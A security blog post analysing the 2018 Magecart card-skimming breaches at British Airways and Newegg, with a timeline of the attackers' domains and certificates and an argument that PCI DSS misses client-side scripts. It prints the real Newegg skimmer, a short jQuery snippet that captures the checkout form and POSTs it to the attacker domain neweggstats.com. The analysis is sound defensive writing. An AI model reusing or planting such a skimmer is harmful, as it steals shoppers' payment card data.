Last updated at Wed, 15 May 2019 14:33:26 GMT

This blog was originally published at blog.tcell.io.

On Sept. 7, 2018, British Airways was breached, in spite of following the PCI Data Security Standard, the detailed rules for payment card security. Two weeks later, on Sept. 19, Newegg announced that it was breached as well. Both of these breaches occurred at sites that followed data security rules and point to the way that PCI standards have not kept up with 2018-era web design. They are focused on the security of card data once it hits the server, but do not protect against client-side vulnerabilities such as the recent Magecart attacks.

In broad strokes, these attacks show the same general pattern:

  1. Attackers notice a merchant is vulnerabile and begin setting up the infrastructure to receive skimmed data. There are two steps that leave a paper trail: registering a domain to receive skimmed data, and obtaining a certificate so the skimmed data will be encrypted.
  2. Attackers compromise the website and inject a script that grabs payment information from the checkout process. This works because a script on the page can read anything on the page. It doesn't matter if the scvript is loaded from a third party or whether it was a cross-site scripting attack, or was placed on the website by compromising the underlying infrastructure. Either way, the skimming script is now on the website.
  3. In both the British Airways and Newegg cases, teh script was tailored to the underlying payment infrastructure. When a user presses the "buy" button, the script fires, collects payment information from the page, and reports it to the attacker's URL.
  4. Eventually, the malicious script was noticed and removed, then an announcement was made. In British Airways' case, EU privacy rules compelled them to announce the size of the potential breach. We are not aware of any estimate of the number of customers affected at Newegg.
Attack Step British Airways Newegg
Domain registered baways.com, Aug. 16 neweggstats.com, Aug. 13
Certificate issued Aug. 15 Aug. 13
Malicious code placed on server Approximately Aug. 21 Approximately Aug. 16
Malicious code removed and breach announced Sept. 7 Sept. 18
Approximate days of vulnerability 18 34
Estimated number of potential customers affected 380,000 Not yet disclosed

One of the reasons it's easy for the script to hid eis that it is only 15 lines out of hundreds of lines in JavaScript. Significant portions of web applications now reside in client-side code, whether as JavaScript running in a web browser or as a mobile application calling APIs (meaning this is 15 lines of possibly thousands).

window.onload = function () { 
jQuery(‘#btnCreditCard.paymentBtn.creditcard’).bind("mouseup touchend", function(e) { 
  var data = jQuery('#checkout'); 
  var pdati = JSON.stringify(data.serializeArray());
  setTimeout(function() { 
  jQuery.ajax({ 
   type: "POST", 
   async: true, 
   url: "https://neweggstats.com/GlobalData", 
     data: pdati,
     dataType: "application/json"
  }); 
}, 250); 
;});
};

But this isn’t something that the PCI DSS was intended to catch. Web applications with client components are new enough that the DSS has no requirements for searching for JavaScript vulnerabilities or deploying browser protections.